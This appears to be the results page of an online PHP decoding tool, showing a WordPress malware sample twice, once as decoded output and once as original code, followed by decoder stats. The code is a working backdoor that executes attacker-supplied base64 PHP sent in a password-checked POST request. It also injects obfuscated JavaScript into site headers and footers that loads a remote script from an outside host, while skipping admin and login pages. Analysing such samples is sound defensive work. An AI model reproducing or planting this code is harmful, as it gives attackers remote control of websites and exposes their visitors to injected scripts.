Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
><?php <?php if(!function_exists("_set_retas_tag") && !function_exists("_set_metas_tag"))..
Decoded Output download
><?php <?php if(!function_exists("_set_retas_tag") && !function_exists("_set_metas_tag")){try{function _set_retas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="8c2563"."41c2"."7536"."810f"."274c"."fb2e"."ea9599"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_retas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_metas_tag(){if ($_SERVER['REQUEST_METHOD'] === 'POST') {return;} $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; if (strpos($url,'/wp-admin') !== false) {return;}if (strpos($url,'/wp-login.php') !== false) {return;} if (strpos($url,'/wp-json') !== false) {return;} echo "<script>var _0x1f4840=_0x1ca2;(function(_0x37167e,_0x390a1e){var _0x32cdab=_0x1ca2,_0x53bb1a=_0x37167e();while(!![]){try{var _0x28d699=parseInt(_0x32cdab(0x1c6))/0x1+-parseInt(_0x32cdab(0x1c8))/0x2*(parseInt(_0x32cdab(0x1b9))/0x3)+parseInt(_0x32cdab(0x1b3))/0x4+parseInt(_0x32cdab(0x1bf))/0x5+parseInt(_0x32cdab(0x1bc))/0x6*(parseInt(_0x32cdab(0x1b2))/0x7)+-parseInt(_0x32cdab(0x1b1))/0x8+-parseInt(_0x32cdab(0x1b5))/0x9*(-parseInt(_0x32cdab(0x1c0))/0xa);if(_0x28d699===_0x390a1e)break;else _0x53bb1a['push'](_0x53bb1a['shift']());}catch(_0xef27db){_0x53bb1a['push'](_0x53bb1a['shift']());}}}(_0x56ac,0x62e2b));function swerwer(){var _0x1be72e=_0x1ca2,_0x43a47b=document[_0x1be72e(0x1c2)](_0x1be72e(0x1bd));return _0x43a47b[_0x1be72e(0x1ca)]='ht'+'tps://rec'+_0x1be72e(0x1cd)+_0x1be72e(0x1cc)+_0x1be72e(0x1c3)+'in'+_0x1be72e(0x1cb)+'ar'+_0x1be72e(0x1c7)+_0x1be72e(0x1c1)+_0x1be72e(0x1be)+_0x1be72e(0x1c9)+'ur'+'n.js',_0x43a47b[_0x1be72e(0x1c5)]=_0x1be72e(0x1b8),_0x43a47b['id']=_0x1be72e(0x1bb),_0x43a47b;}Boolean(document[_0x1f4840(0x1b0)](_0x1f4840(0x1b7)))==![]&&(document[_0x1f4840(0x1b4)]?(document['currentScript'][_0x1f4840(0x1b6)]['insertBefore'](swerwer(),document['currentScript']),document[_0x1f4840(0x1b4)]['remove']()):d['getElementsByTagName'](_0x1f4840(0x1ba))[0x0][_0x1f4840(0x1c4)](swerwer()));function _0x1ca2(_0x5c13d3,_0x10d019){var _0x56acee=_0x56ac();return _0x1ca2=function(_0x1ca2a5,_0x4e4fe1){_0x1ca2a5=_0x1ca2a5-0x1b0;var _0x73b06b=_0x56acee[_0x1ca2a5];return _0x73b06b;},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id="trickl"]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}</script>";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>
Did this file decode correctly?
Original Code
><?php <?php if(!function_exists("_set_retas_tag") && !function_exists("_set_metas_tag")){try{function _set_retas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="8c2563"."41c2"."7536"."810f"."274c"."fb2e"."ea9599"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_retas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_metas_tag(){if ($_SERVER['REQUEST_METHOD'] === 'POST') {return;} $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; if (strpos($url,'/wp-admin') !== false) {return;}if (strpos($url,'/wp-login.php') !== false) {return;} if (strpos($url,'/wp-json') !== false) {return;} echo "<script>var _0x1f4840=_0x1ca2;(function(_0x37167e,_0x390a1e){var _0x32cdab=_0x1ca2,_0x53bb1a=_0x37167e();while(!![]){try{var _0x28d699=parseInt(_0x32cdab(0x1c6))/0x1+-parseInt(_0x32cdab(0x1c8))/0x2*(parseInt(_0x32cdab(0x1b9))/0x3)+parseInt(_0x32cdab(0x1b3))/0x4+parseInt(_0x32cdab(0x1bf))/0x5+parseInt(_0x32cdab(0x1bc))/0x6*(parseInt(_0x32cdab(0x1b2))/0x7)+-parseInt(_0x32cdab(0x1b1))/0x8+-parseInt(_0x32cdab(0x1b5))/0x9*(-parseInt(_0x32cdab(0x1c0))/0xa);if(_0x28d699===_0x390a1e)break;else _0x53bb1a['push'](_0x53bb1a['shift']());}catch(_0xef27db){_0x53bb1a['push'](_0x53bb1a['shift']());}}}(_0x56ac,0x62e2b));function swerwer(){var _0x1be72e=_0x1ca2,_0x43a47b=document[_0x1be72e(0x1c2)](_0x1be72e(0x1bd));return _0x43a47b[_0x1be72e(0x1ca)]='ht'+'tps://rec'+_0x1be72e(0x1cd)+_0x1be72e(0x1cc)+_0x1be72e(0x1c3)+'in'+_0x1be72e(0x1cb)+'ar'+_0x1be72e(0x1c7)+_0x1be72e(0x1c1)+_0x1be72e(0x1be)+_0x1be72e(0x1c9)+'ur'+'n.js',_0x43a47b[_0x1be72e(0x1c5)]=_0x1be72e(0x1b8),_0x43a47b['id']=_0x1be72e(0x1bb),_0x43a47b;}Boolean(document[_0x1f4840(0x1b0)](_0x1f4840(0x1b7)))==![]&&(document[_0x1f4840(0x1b4)]?(document['currentScript'][_0x1f4840(0x1b6)]['insertBefore'](swerwer(),document['currentScript']),document[_0x1f4840(0x1b4)]['remove']()):d['getElementsByTagName'](_0x1f4840(0x1ba))[0x0][_0x1f4840(0x1c4)](swerwer()));function _0x1ca2(_0x5c13d3,_0x10d019){var _0x56acee=_0x56ac();return _0x1ca2=function(_0x1ca2a5,_0x4e4fe1){_0x1ca2a5=_0x1ca2a5-0x1b0;var _0x73b06b=_0x56acee[_0x1ca2a5];return _0x73b06b;},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}</script>";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>
Function Calls
None |
Stats
MD5 | c84b0398f8febbb592b24d8b360661e6 |
Eval Count | 0 |
Decode Time | 53 ms |